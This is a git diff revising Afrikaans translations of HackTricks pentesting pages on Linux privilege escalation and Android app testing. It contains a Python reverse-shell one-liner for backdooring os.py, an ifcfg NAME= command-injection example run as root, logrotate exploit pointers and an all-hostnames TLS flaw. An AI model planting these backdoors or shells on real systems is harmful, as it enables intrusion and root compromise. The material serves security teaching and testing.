-Om **logs te lees sal die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees.
+Om **logs te lees** sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees.
 
-### Shell lêers
+### Shell-lêers
 ```bash
 ~/.bash_profile # if it exists, read it once when you log in to the shell
 ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@@ -1379,41 +1372,41 @@ Om **logs te lees sal die groep** [**adm**](interesting-groups-linux-pe/index.ht
 ```
 ### Generic Creds Search/Regex
 
-Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en e-posadresse in logs, of hash regexps.\
-Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles sien wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer.
+Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of in die **inhoud** bevat, en ook kyk vir IPs en emails in logs, of hashes regexps.\
+Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan.
 
 ## Skryfbare lêers
 
 ### Python library hijacking
 
-As jy weet vanaf **waar** 'n python-skrip uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python-skrip uitgevoer gaan word, kopieer en plak die os.py library).
+As jy weet van **waar** 'n python script gaan uitgevoer word en jy **kan binne daardie vouer skryf** of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library).
 
-To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
+Om die **backdoor the library** te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):
 ```python
 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
 ```
-### Logrotate-uitbuiting
+### Logrotate eksploitasie
 
-'n Kwesbaarheid in `logrotate` stel gebruikers met **skryftoestemmings** op 'n log-lêer of sy ouergidse in staat om moontlik verhoogde voorregte te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ te kontroleer nie, maar ook in enige gids waar logrotasie toegepas word.
+'n kwesbaarheid in `logrotate` laat gebruikers met **skryfregte** op 'n loglêer of sy ouerdirektore potensieel verhoogde privileges verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om nie net die toestemmings in _/var/log_ na te gaan nie, maar ook in enige gids waar logrotasie toegepas word.
 
 > [!TIP]
-> Hierdie kwesbaarheid beïnvloed `logrotate` weergawe `3.18.0` en ouer
+> Hierdie kwesbaarheid geld vir `logrotate` weergawes `3.18.0` en ouer
 
-Meer gedetailleerde inligting oor die kwesbaarheid is op hierdie blad beskikbaar: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+Meer gedetailleerde inligting oor die kwesbaarheid is op hierdie bladsy te vinde: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
 
 Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
 
-Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan verhoog deur die logs met symlinks te vervang.
+Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy agterkom dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy privileges kan eskaleer deur die logs met symlinks te vervang.
 
 ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
 
 **Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 
-Indien, om watter rede ook al, 'n gebruiker in staat is om **skryf** 'n `ifcf-<whatever>` script na _/etc/sysconfig/network-scripts_ **of** 'n bestaande een te **wysig**, dan is jou **stelsel is pwned**.
+As, om watter rede ook al, 'n gebruiker in staat is om **skryf** 'n `ifcf-<whatever>`-skrip na _/etc/sysconfig/network-scripts_ te plaas **of** 'n bestaande een te **aanpas**, dan is jou **system is pwned**.
 
-Network scripts, _ifcg-eth0_ byvoorbeeld, word vir netwerkverbindinge gebruik. Hulle lyk presies soos .INI-lêers. Hulle word egter \~sourced\~ op Linux deur Network Manager (dispatcher.d).
+Netwerkskripte, byvoorbeeld _ifcg-eth0_, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Hulle word egter op Linux deur Network Manager (dispatcher.d) \~sourced\~.
 
-In my geval word die `NAME=`-toekenning in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/blank spasie in die naam het die stelsel probeer die gedeelte ná die wit/blank spasie uit te voer**. Dit beteken dat **alles ná die eerste spasie as root uitgevoer word**.
+In my geval word die `NAME=` attribuut in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/spasie in die naam het, probeer die stelsel die deel ná die wit/spasie uit te voer**. Dit beteken dat **alles ná die eerste spasie as root uitgevoer word**.
 
 Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_
 ```bash
@@ -1421,15 +1414,15 @@ NAME=Network /bin/id
 ONBOOT=yes
 DEVICE=eth0
 ```
-(_Let wel die spasieweg tussen Network en /bin/id_)
+(_Let op die leë spasie tussen Network en /bin/id_)
 
 ### **init, init.d, systemd, en rc.d**
 
-Die gids `/etc/init.d` huisves **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om `start`, `stop`, `restart`, en soms `reload` dienste. Hierdie kan direk uitgevoer word of deur simboliese skakels wat in `/etc/rc?.d/` gevind word. ’n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`.
+Die gids `/etc/init.d` huisves **skripte** vir System V init (SysVinit), die **klasieke Linux service management stelsel**. Dit sluit skripte in om `start`, `stop`, `restart`, en soms `reload` dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels wat in `/etc/rc?.d/` gevind word. 'n Alternatiewe pad in Redhat stelsels is `/etc/rc.d/init.d`.
 
-Aan die ander kant is `/etc/init` geassosieer met **Upstart**, ’n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, en wat konfigurasielêers vir diensbestuurtake gebruik. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik danksy ’n versoenbaarheidslaag in Upstart.
+Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, wat konfigurasielêers vir diensbestuurtake gebruik. Ten spyte van die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n kompabiliteitslaag in Upstart.
 
-**systemd** tree op as ’n moderne inisialisasie- en diensbestuurder, en bied gevorderde funksies soos on-demand daemon-begin, automount-bestuur, en stelseltoestand-snapshots. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat stelseladministrasie stroomlyn.
+**systemd** tree as 'n moderne inisialiserings- en diensbestuurder, wat gevorderde funksies bied soos op-aanvraag daemon-opstart, automount-bestuur, en stelseltoestand-snapshots. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateurwysigings, wat die stelseladministrasieproses vereenvoudig.
 
 ## Ander truuks
 
@@ -1456,7 +1449,7 @@ cisco-vmanage.md
 
 ## Android rooting frameworks: manager-channel abuse
 
-Android rooting frameworks heg gewoonlik ’n syscall om geprivilegieerde kernel-funksionaliteit aan ’n userspace manager bloot te stel. Swakke manager-outentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan ’n plaaslike app in staat stel om die manager voor te gee en na root te eskaleer op reeds-geroote toestelle. Leer meer en uitbuitingbesonderhede hier:
+Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernelfunksionaliteit aan 'n userspace manager bloot te lê. Swak manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en na root op reeds-gerootte toestelle op te skaal. Leer meer en eksploitasiendetails hier:
 
 
 {{#ref}}
@@ -1468,11 +1461,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
 - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
 
-## Meer hulp
+## More help
 
 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
 
-## Linux/Unix Privesc Tools
+## Linux/Unix Privesc Gereedskap
 
 ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
 
@@ -1484,10 +1477,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
 **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
 **Mestaploit:** _**multi/recon/local_exploit_suggester**_\
 **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
-**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
+**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
 **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
 
-## Verwysings
+## References
 
 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
 - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md
index cd8044bef..7a94f66dd 100644
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
@@ -1,10 +1,10 @@
-# Android Toepassings Pentesting
+# Android Applications Pentesting
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Android Toepassings Basiese
+## Android Applications Basics
 
-Dit word sterk aanbeveel om eers hierdie bladsy te lees om te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
+Dit word sterk aanbeveel om eers hierdie bladsy te lees om die **belangrikste gedeeltes wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing** te leer ken:
 
 
 {{#ref}}
@@ -13,24 +13,24 @@ android-applications-basics.md
 
 ## ADB (Android Debug Bridge)
 
-Dit is die hoof instrument wat jy nodig het om met 'n Android-toestel (geëmuleer of fisies) te koppel.\
-**ADB** maak dit moontlik om toestelle te beheer óf via **USB** óf via **Network** vanaf 'n rekenaar. Hierdie hulpmiddel stel in staat tot die **kopiëring** van lêers in beide rigtings, die **installering** en **verwydering** van apps, die **uitvoering** van shell-opdragte, die **rugsteun** van data, die **lees** van logs, en ander funksies.
+Dit is die hoofhulpmiddel wat jy nodig het om aan 'n Android-toestel (gesimuleer of fisies) te koppel.\
+**ADB** stel jou in staat om toestelle oor **USB** of **Network** van 'n rekenaar te beheer. Hierdie hulpmiddel maak dit moontlik om lêers in albei rigtings te **kopieer**, toepassings te **installeer** en te **verwyder**, shell-opdragte uit te **voer**, data te **rugsteun**, logs te **lees**, onder andere funksies.
 
 Kyk na die volgende lys van [**ADB Commands**](adb-commands.md) om te leer hoe om adb te gebruik.
 
 ## Smali
 
-Soms is dit interessant om die **aansoekkode te wysig** om by **verborge inligting** te kom (miskien goed geobfuskede wagwoorde of flags). Dan kan dit sin maak om die apk te dekompileer, die kode te verander en dit weer te kompileer.\
-[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dynamiese analise** wat aangebied gaan word. Dan, **Hou hierdie moontlikheid altyd in gedagte.**
+Soms is dit interessant om die **toepassingskode te wysig** om by **weggesteekte inligting** te kom (miskien goed obfuscated wagwoorde of flags). Dan kan dit handig wees om die apk te dekompilleer, die kode te wysig en dit weer te kompilleer.\
+[**In hierdie tutorial** kan jy **leer hoe om 'n APK te dekompilleer, Smali-kode te wysig en die APK weer te kompilleer** met die nuwe funksionaliteit](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. Hou dus **altyd hierdie moontlikheid in gedagte**.
 
-## Ander interessante truuks
+## Other interesting tricks
 
 - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
 - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
 - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
 - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
 - **Laai APKs af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
-- Haal APK uit toestel:
+- Onttrek APK vanaf toestel:
 ```bash
 adb shell pm list packages
 com.android.insecurebankv2
@@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 
 adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 ```
-- Samesmelt alle split- en base-apks met [APKEditor](https://github.com/REAndroid/APKEditor):
+- Voeg alle splits en base apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
 ```bash
 mkdir splits
 adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@@ -61,41 +61,40 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
 {{#endref}}
 
-## Statiese Ontleding
+## Statiese Analise
 
-Eerstens, om 'n APK te analiseer moet jy **'n blik werp op die Java-code** gebruikmakend van 'n decompiler.\
+Eerstens, vir die ontleding van 'n APK moet jy **na die Java code kyk** met 'n decompiler.\
 Lees asseblief [**hier vir inligting oor verskillende beskikbare decompilers**](apk-decompilers.md).
 
-### Soek na interessante inligting
+### Op soek na interessante inligting
 
-Deur net die **strings** van die APK te bekyk kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials in die app).
+Deur net na die **strings** van die APK te kyk kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials to the app).
 
 **Firebase**
 
-Gee besondere aandag aan **firebase URLs** en kontroleer of dit verkeerd gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te misbruik vind jy hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Let besondere aandag aan **Firebase URLs** en kontroleer of dit verkeerd gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te misbruik hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
 ### Basiese begrip van die toepassing - Manifest.xml, strings.xml
 
-Die **ondersoek van 'n toepassing se _Manifest.xml_ en _strings.xml_ lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan met 'n decompiler verkry word of deur die APK-lêeruitbreiding na .zip te hernoem en dit dan uit te pak.
+Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan verkry word met behulp van decompilers of deur die APK-lêeruitbreiding na .zip te hernoem en dit dan uit te pak.
 
-**Kwesbaarhede** wat uit die **Manifest.xml** geïdentifiseer kan word sluit in:
+**Kwesbaarhede** geïdentifiseer in die **Manifest.xml** sluit in:
 
-- **Debuggable Applications**: Toepassings wat as debuggable gestel is (`debuggable="true"`) in die _Manifest.xml_ lêer vorm 'n risiko aangesien hulle verbindings toelaat wat tot uitbuiting kan lei. Vir meer begrip oor hoe om debuggable applications uit te buit, verwys na 'n tutorial oor die vind en uitbuiting van debuggable applications op 'n toestel.
-- **Backup Settings**: Die attribuut `android:allowBackup="false"` moet duidelik gestel word vir toepassings wat met sensitiewe inligting werk om ongemagtigde datarugsteun via adb te voorkom, veral wanneer usb debugging geaktiveer is.
-- **Network Security**: Aangepaste netwerksekuriteitskonfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat-pins en HTTP-verkeerinstellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
-- **Exported Activities and Services**: Die identifisering van exported activities en services in die manifest kan komponente uitlig wat misbruik kan word. Verdere ontleding tydens dinamiese toetse kan openbaar hoe om hierdie komponente uit te buit.
+- **Debuggable Applications**: Aplikasies wat as debuggable gestel is (`debuggable="true"`) in die _Manifest.xml_ lêer vorm 'n risiko aangesien hulle verbindings toelaat wat tot uitbuiting kan lei. Vir meer begrip oor hoe om debuggable applications te eksploiteer, verwys na 'n handleiding oor die vind en uitbuiting van debuggable applications op 'n toestel.
+- **Backup Settings**: Die `android:allowBackup="false"` attribuut moet uitdruklik gestel wees vir toepassings wat met sensitiewe inligting werk om ongemagtigde data-backups via adb te voorkom, veral wanneer usb debugging aangeskakel is.
+- **Network Security**: Pasgemaakte network security-konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede spesifiseer soos sertifikaat-pins en HTTP-verkeerinstellings. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
+- **Exported Activities and Services**: Die identifisering van exported activities en services in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan openbaar hoe om hierdie komponente te eksploiteer.
 - **Content Providers and FileProviders**: Blootgestelde content providers kan ongemagtigde toegang of wysiging van data toelaat. Die konfigurasie van FileProviders moet ook deeglik ondersoek word.
-- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan gebruik word vir uitbuiting, met spesiale aandag aan hoe URL schemes bestuur word vir invoervulnerability's.
-- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` atribuutwysers dui die ondersteunde Android-weergawes aan, wat die belangrikheid beklemtoon om verouderde, kwesbare Android-weergawes nie te ondersteun nie.
+- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan vir uitbuiting aangewend word, met spesiale aandag aan hoe URL schemes bestuur word vir invoer-kwesbaarhede.
+- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut wys die ondersteunde Android-weergawes, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android-weergawes te ondersteun nie.
 
-Uit die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas, en ander ontwikkelaarsnotas gevind word, wat die noodsaaklikheid van deeglike hersiening van hierdie hulpbronne beklemtoon.
+In die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas en ander ontwikkelaar-notas gevind word, wat die behoefte aan 'n deeglike hersiening van hierdie hulpbronne beklemtoon.
 
 ### Tapjacking
 
-**Tapjacking** is 'n aanval waar 'n **kwaadwillige toepassing** gelanseer word en homself bo-op 'n slagoffer-toepassing posisioneer. Wanneer dit die slagoffer-app visueel bedek, is die gebruikersinterface so ontwerp om die gebruiker te mislei om daarmee te interaksie, terwyl dit die interaksie aan die slagoffer-app deurgee.\
-In werklikheid is dit 'n manier om die gebruiker te verblind sodat hulle nie weet dat hulle eintlik aksies op die slagoffer-app uitvoer nie.
+**Tapjacking** is 'n aanval waar 'n **kwaadwillige toepassing** gelanseer word en homself bo-op 'n slagoffer-toepassing posisioneer. Sodra dit die slagoffer-app sigbaar verdoesel, is sy gebruikerskoppelvlak so ontwerp om die gebruiker te mislei om daarmee te kommunikeer, terwyl dit die interaksie aan die slagoffer-app deurgee. In werklikheid word die gebruiker verblind sodat hulle nie weet dat hulle eintlik aksies op die slagoffer-app uitvoer nie.
 
-Vind meer inligting in:
+Find more information in:
 
 
 {{#ref}}
@@ -104,9 +103,9 @@ tapjacking.md
 
 ### Task Hijacking
 
-'n **Activity** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gespesifiseer is kwesbaar vir Task Hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit geskakel word voor die werklike toepassing, dit die taak van die werklike toepassing kan **inseël** (sodat die gebruiker met die **kwaadwillige toepassing sal kommunikeer terwyl hy dink hy gebruik die werklike een**).
+'n activity met die `launchMode` gestel op `singleTask` sonder enige `taskAffinity` gedefinieer is kwesbaar vir Task Hijacking. Dit beteken dat 'n application geïnstalleer kan word en as dit voor die regte toepassing gelanseer word, kan dit die taak van die regte toepassing kaap (sodat die gebruiker met die kwaadwillige toepassing sal interakteer en dink hy gebruik die regte een).
 
-Meer inligting in:
+More info in:
 
 
 {{#ref}}
@@ -115,71 +114,71 @@ android-task-hijacking.md
 
 ### Onveilige datastoor
 
-**Internal Storage**
+**Interne stoorplek**
 
-In Android word lêers wat in **internal** storage gestoor word ontwerp om uitsluitlik deur die app wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android-bedryfstelsel afgedwing en is gewoonlik voldoende vir die sekuriteitsbehoeftes van meeste toepassings. Ontwikkelaars gebruik soms egter modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers **tussen verskillende toepassings te deel**. Hierdie modi **beperk egter nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend moontlik kwaadwillige toepassings.
+In Android is lêers wat in interne stoorplek gestoor word bedoel om uitsluitlik deur die app wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android-bedryfstelsel afgedwing en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Ontwikkelaars gebruik egter soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers tussen verskillende toepassings te deel. Hierdie modi beperk egter nie toegang tot hierdie lêers deur ander toepassings nie, insluitend moontlik kwaadwillige eenhede.
 
-1. **Statiese Analise:**
-- **Maak seker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` deeglik ondersoek word. Hierdie modi **kan lêers blootstel** aan onbedoelde of ongemagtigde toegang.
-2. **Dinamiese Analise:**
-- **Kontroleer** die **permitte** wat op lêers geskep deur die app gestel is. Spesifiek, **kyk of enige lêers wêreldwyd lees- of skryfbaar gestel is**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit enige toepassing op die toestel, ongeag oorsprong of bedoeling, toelaat om hierdie lêers te **lees of te wysig**.
+1. **Static Analysis:**
+- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` noukeurig ondersoek word. Hierdie modi **kan lêers potensieel blootstel** aan onbedoelde of ongemagtigde toegang.
+2. **Dynamic Analysis:**
+- **Verifieer** die **permitte** wat op lêers geskep deur die app gestel is. Spesifiek, **kyk** of enige lêers vir wêreldwye lees- of skryfregte gestel is. Dit kan 'n beduidende sekuriteitsrisiko wees, aangesien dit enige toepassing op die toestel, ongeag herkoms of doel, toelaat om hierdie lêers te lees of te wysig.
 
-**External Storage**
+**Eksterne stoorplek**
 
-Wanneer jy met lêers op **external storage**, soos SD Cards, werk, moet sekere voorsorgmaatreëls getref word:
+Wanneer jy met lêers op eksterne stoorplek werk, soos SD-kaarte, moet sekere voorsorgmaatreëls getref word:
 
 1. **Toeganklikheid**:
-- Lêers op external storage is **global leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan hierdie lêers benader.
+- Lêers op eksterne stoorplek is wêreldwyd lees- en skryfbaar. Dit beteken enige toepassing of gebruiker kan toegang kry.
 2. **Sekuriteitskwessies**:
-- Gegee die maklike toegang, is dit nie aanbeveel om sensitiewe inligting op external storage te stoor nie.
-- External storage kan verwyder of deur enige toepassing bereik word, wat dit minder veilig maak.
-3. **Hantering van data vanaf External Storage**:
-- Voer altyd **invoer-validasie** uit op data wat van external storage verkry word. Dit is noodsaaklik omdat die data van 'n onbetroubare bron kom.
-- Dit word sterk ontried om uitvoerbare of klas-lêers op external storage te stoor vir dinamiese inlaai.
-- As jou toepassing executables van external storage moet laai, maak seker dat hierdie lêers **gesigned en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is belangrik vir die behoud van jou toepassings sekuriteitsintegriteit.
+- Gegewe die maklike toegang word dit aanbeveel om **nie sensitiewe inligting** op eksterne stoorplek te berg nie.
+- Eksterne stoorplek kan verwyder of deur enige toepassing geraak word, wat dit minder veilig maak.
+3. **Hantering van data van eksterne stoorplek**:
+- Voer altyd **invoer-validasie** uit op data wat van eksterne stoorplek verkry is. Dit is noodsaaklik aangesien die data van 'n onbetroubare bron kom.
+- Dit word sterk ontraden om uitvoerbare lêers of klaslêers op eksterne stoorplek te stoor vir dinamiese laai.
+- As jou toepassing uitvoerbare lêers vanaf eksterne stoorplek moet laai, maak seker dat hierdie lêers **gesign en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te behou.
 
-External storage kan toeganklik wees by `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
+Eksterne stoorplek kan in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` bereik word
 
 > [!TIP]
-> Beginnend met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat **toegang vanaf 'n app beperk tot die gids wat spesifiek vir daardie app is**. Dit voorkom dat kwaadwillige toepassings lees- of skryf toegang tot 'n ander app se lêers kry.
+> Beginnend met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat die toegang van 'n app beperk tot die gids wat spesifiek vir daardie app is. Dit verhoed dat 'n kwaadwillige toepassing lees- of skryf toegang tot 'n ander app se lêers kry.
 
-**Sensitiewe data in plainteks gestoor**
+**Sensitiewe data gestoor in duidelike teks**
 
-- **Shared preferences**: Android laat elke toepassing toe om maklik xml-lêers te stoor in die pad `/data/data/<packagename>/shared_prefs/` en soms is dit moontlik om sensitiewe inligting in plainteks in daardie vouer te vind.
-- **Databases**: Android laat elke toepassing toe om maklik sqlite databases te stoor in die pad `/data/data/<packagename>/databases/` en soms is dit moontlik om sensitiewe inligting in plainteks in daardie vouer te vind.
+- **Shared preferences**: Android laat elke toepassing toe om maklik xml-lêers te stoor in die pad `/data/data/<packagename>/shared_prefs/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
+- **Databases**: Android laat elke toepassing toe om maklik sqlite-databasisse te stoor in die pad `/data/data/<packagename>/databases/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
 
 ### Gebroke TLS
 
 **Accept All Certificates**
 
-Om 'n of ander rede aanvaar ontwikkelaars soms alle sertifikate selfs al stem die hostname byvoorbeeld nie ooreen nie met reëls van kode soos die volgende een:
+Om een of ander rede aanvaar ontwikkelaars soms alle sertifikate selfs al stem byvoorbeeld die hostname nie ooreen nie met reëls kode soos die volgende:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 ```
-'n Goeie manier om dit te toets is om te probeer om die verkeer vas te vang met 'n proxy soos Burp sonder om die Burp CA binne die toestel te magtig. Ook, jy kan met Burp 'n sertifikaat genereer vir 'n ander hostname en dit gebruik.
+'n Goeie manier om dit te toets is om te probeer die verkeer vas te vang met 'n proxy soos Burp sonder om die Burp CA in die toestel te autoriseer. Ook kan jy met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik.
 
 ### Gebroke Kriptografie
 
-**Slegte sleutelbestuursprosesse**
+**Swak sleutelbestuursprosesse**
 
